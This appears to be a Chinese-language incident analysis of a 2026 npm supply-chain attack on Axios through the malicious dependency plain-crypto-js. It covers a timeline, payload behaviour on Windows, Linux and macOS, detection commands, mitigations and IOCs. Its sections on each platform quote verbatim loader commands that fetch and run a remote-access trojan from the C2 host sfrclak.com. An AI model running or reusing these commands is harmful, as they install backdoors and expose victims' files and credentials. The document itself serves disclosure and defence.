2026年3月31日,npm生态中广泛使用的JavaScript HTTP客户端库Axios遭受了一次高隐蔽性的供应链攻击。攻击者通过劫持合法维护者账号,未改动任何仓库源码,仅通过在 package.json 中注入恶意二次依赖 plain-crypto-js@4.2.1 实施攻击。该依赖的 postinstall 生命周期钩子会在安装阶段自动执行,下载并部署覆盖macOS、Windows、Linux三大平台的远控木马。
本次攻击巧妙地运用了“幽灵依赖 + 诱饵版本 + 自清理”策略,能够在不触发常规源码差异检查的情况下完成投毒。恶意版本 axios@1.14.1 与 axios@0.30.4 的存活时间均不足3小时,已被npm官方紧急下架。
风险提醒
任何在 2026年3月31日北京时间 08:21 之后 执行 npm install 的环境,若依赖范围为 ^1.14.0 或 ^0.30.0,均可能已遭感染。建议立即执行 版本锁定、环境审计、IOC 扫描与凭证轮换。
一、事件背景
Axios是 npm 生态中下载量最高的包之一,周下载量超过1亿次。此次攻击再次暴露了供应链安全的几个核心脆弱点:
- 维护者账号安全:账号凭证(MFA/Token)管控是关键防线。
- 安装脚本风险:
preinstall/install/postinstall 脚本在默认执行策略下存在固有风险。
- 审计策略盲区:仅依赖“源码审计/差异对比”无法防范此类
package.json 依赖注入攻击。
二、详细攻击时间线
- 2026-03-30 13:57:发布
plain-crypto-js@4.2.0(干净诱饵版本),建立发布历史与可信度。
- 2026-03-31 00:03:46:恶意C2域名
sfrclak.com 完成注册。
- 2026-03-31 07:59:发布
plain-crypto-js@4.2.1(恶意版本,植入 postinstall 钩子)。
- 2026-03-31 08:21:发布
axios@1.14.1,自动依赖恶意包并注入RAT(回连 sfrclak.com:8000)。
- 2026-03-31 09:00:发布
axios@0.30.4(0.x分支版本),同样植入后门。
- 2026-03-31 10:35:开发者社区及安全厂商开始大规模警报。
- 2026-03-31 11:15:npm官方紧急下线两个恶意Axios版本。
- 2026-03-31 12:26:npm为
plain-crypto-js 发布安全占位版本,阻断攻击链。
三、技术分析
3.1 攻击手法概览
- 初始访问:劫持npm维护者账号
jasonsaayman,修改联系邮箱。
- 执行:仅修改
package.json,注入“源码中未引用”的幽灵依赖 plain-crypto-js@^4.2.1,并移除 prepare 脚本以降低构建阶段暴露风险。
- 持久化与自清理:
postinstall 执行混淆的 setup.js,按平台下载payload,随后主动覆盖自身 package.json 为干净版本并删除临时痕迹。
- 命令与控制:C2地址为
http://sfrclak.com:8000/6202033,仅支持 POST 请求,User-Agent 伪装为旧版 IE,约每 60 秒进行一次信标通信。
3.2 平台特定 Payload 行为概览
攻击载荷针对不同平台使用不同语言编写,但功能结构高度相似,疑似使用AI生成。
| 平台 |
典型部署位置 |
典型执行方式 |
主要行为 |
| macOS |
/Library/Caches/com.apple.act.mond |
AppleScript → zsh |
下载 payload、清理临时目录、自删除 |
| Windows |
%PROGRAMDATA%\wt.exe |
VBScript → PowerShell |
隐藏窗口执行、持久化、远控通联 |
| Linux |
/tmp/ld.py |
nohup python3 |
后台 RAT、痕迹擦除 |
3.4 Windows PowerShell Payload 分析
3.4.1 载荷拉取与执行链
攻击者将PowerShell解释器复制到 %PROGRAMDATA%\wt.exe,随后通过 curl 拉取下一阶段脚本并以隐藏窗口方式执行。
curl -s -X POST -d "packages.npm.org/product1" "http://sfrclak.com:8000/6202033" > "%UserProfile%\AppData\Local\Temp\6202033.ps1" \
& "C:\ProgramData\wt.exe" -w hidden -ep bypass -file "%UserProfile%\AppData\Local\Temp\6202033.ps1" "http://sfrclak.com:8000/6202033" \
& del "%UserProfile%\AppData\Local\Temp\6202033.ps1" /f
要点:C2地址通过参数传入,-ep bypass 绕过执行策略,形成“下载-执行-删除”的短链路。
3.4.2 功能模块与关键行为
该PowerShell载荷为功能完整的远控木马,核心能力包括:
1) 持续驻留:将PowerShell命令保存为批处理文件并写入注册表 Run 启动项。

2) 文件遍历与信息回传:遍历用户文档、桌面、OneDrive及所有盘符,收集文件清单。

3) 环境探测:回传进程列表、用户名、机器名、系统版本、安装时间等基础信息。

4) 反射注入:当C2下发 type=peinject 指令时,将下发的 shellcode 或 DLL 反射注入当前进程。

5) 脚本执行:当C2下发 type=runscript 指令时,执行其携带的脚本内容并回传结果。

6) 指定目录遍历:当C2下发 type=rundir 指令时,遍历指定目录并回传结果。

3.4.3 检测与响应
- 网络侧:重点关注对
sfrclak.com:8000 的 POST 出站通信与周期性信标。
- 主机侧:
- 注册表
HKCU\Software\Microsoft\Windows\CurrentVersion\Run 中的异常启动项(名称为 MicrosoftUpdate)。
%PROGRAMDATA% 目录下的可疑文件(如 wt.exe, system.bat)。
- 临时目录中
6202033.ps1 的短时出现。
3.5 Linux Python Payload 分析
3.5.1 载荷拉取与执行链
针对Linux,攻击链通过 /bin/sh 调用 curl 下载 Python 脚本并在后台执行。
/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &"
3.5.2 与Windows载荷的关键差异
- peinject指令:Linux侧将下发的 shellcode 保存为临时可执行文件并直接启动,而非反射注入。

- runscript指令:Linux侧倾向于使用反弹shell方式建立交互通道。

3.5.3 检测与响应
- 主机侧:关注
/tmp/ld.py 的创建、/tmp/.<随机> 形式的可疑可执行文件,以及关联的 sh → curl → python3 进程树。
3.6 macOS Payload 分析
3.6.1 载荷拉取与执行链
针对macOS,载荷被下载到系统缓存目录并执行。
curl -o "/Library/Caches/com.apple.act.mond" -d "packages.npm.org/product0" -s http://sfrclak.com:8000/6202033 \
&& chmod 770 "/Library/Caches/com.apple.act.mond" \
&& /bin/zsh -c "/Library/Caches/com.apple.act.mond \"packages.npm.org/product0\"" \
> /dev/null 2>&1 &
3.6.2 与 Windows/Linux 载荷的关键差异
- peinject指令(Gatekeeper绕过):写入临时文件后,使用
codesign --force --deep --sign - 进行签名,以绕过 Gatekeeper 部分校验。

- runscript指令:使用
/usr/bin/osascript 执行下发的 AppleScript 内容。

3.6.3 检测与响应
- 主机侧:检查
/Library/Caches/com.apple.act.mond 文件、/private/tmp/ 下的随机可执行文件,以及 /usr/bin/osascript 的异常调用。
四、影响评估
- 受影响范围:直接或间接依赖
axios@^1.14.0 或 axios@^0.30.0 的所有项目,包括CI/CD流水线、构建服务器与开发机。
- 潜在后果:系统信息窃取、凭证泄露、远程命令执行、跨平台持久化后门、横向移动。
- 当前状态:恶意版本已被下架,但已安装环境需视为已失陷,并按入侵处置流程处理。
五、缓解措施
5.1 优先进行版本锁定
在 package.json 中将 Axios 固定为已知安全版本(如 1.14.0),并使用 overrides(npm)或 resolutions(Yarn)字段强制覆盖传递依赖。
{
"dependencies": {
"axios": "1.14.0"
},
"overrides": {
"axios": "1.14.0"
}
}
提交 package-lock.json 并使用 npm ci 确保构建一致性。
5.2 针对疑似中招环境进行审计与 IOC 检测
(1) 依赖版本与锁文件检查
# 检查当前安装的版本
npm ls axios plain-crypto-js --all
# 搜索锁文件中的恶意版本
grep -E 'axios@(1\.14\.1|0\.30\.4)|plain-crypto-js@4\.2\.1' \
package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null || true
(2) node_modules 目录扫描
# 查找潜在的恶意依赖目录
find . -path '*/node_modules/plain-crypto-js' -type d 2>/dev/null
find . -path '*/node_modules/axios' -name 'package.json' -exec grep -E '1\.14\.1|0\.30\.4' {} + 2>/dev/null
(3) 文件系统 IOC 扫描 (示例)
# macOS/Linux
find /Library/Caches -name "com.apple.act.mond" 2>/dev/null
find /tmp -name "ld.py" 2>/dev/null
(4) 网络 IOC 检查 (Linux)
ss -tup|grep -E 'sfrclak\.com|142\.11\.206\.73'|| netstat -tup|grep -E 'sfrclak|142\.11'
检测后处理建议:如发现任何IOC,立即隔离主机,保全证据并启动应急响应流程。仅在完成取证后,方可考虑清理(如 rm -rf node_modules package-lock.json && npm install)。
5.3 轮换可能已失陷的凭证
所有接触过受影响环境的凭证必须立即轮换,包括:npm tokens、SSH密钥、云平台凭证、GitHub PAT等。建议启用MFA,并收敛令牌权限与生命周期。
5.4 对 CI/CD 流程进行安全防护加固
在构建阶段,评估并考虑使用 --ignore-scripts 选项忽略安装脚本。
npm ci --ignore-scripts
总结
本次Axios供应链攻击事件再次印证,npm 生态安全的两个核心风险点在于 维护者账号凭证 与 install 脚本的默认可执行性。即使做到“零源码改动”,攻击者仍可通过依赖注入在构建/安装阶段实现高隐蔽性、跨平台的持久化控制。
所有使用 Axios 或类似广泛依赖的团队都应落实“零信任依赖”原则:
- 严格执行版本锁定与锁文件提交。
- 在构建阶段最小化脚本执行权限(必要时使用
--ignore-scripts)。
- 实施持续的依赖安全扫描与供应链监测。
- 对维护者账号及各类凭证实施最小权限、短生命周期与强MFA策略。
在 云栈社区 的 安全 板块,开发者们可以持续交流此类供应链攻击的防御实践与最新动态。
附录 IOCs
- 恶意包名称:
plain-crypto-js@4[.]2.1
axios@1[.]14.1
axios@0[.]30.4
- C2 基础设施:
sfrclak[.]com:8000
http://sfrclak[.]com:8000/6202033
142.11.206[.]73
- 典型文件路径:
- macOS:
/Library/Caches/com[.]apple.act.mond
- Windows:
%PROGRAMDATA%\wt[.]exe
- Linux:
/tmp/ld[.]py
- Payload SHA256:
- Windows:
ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
- macOS:
92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a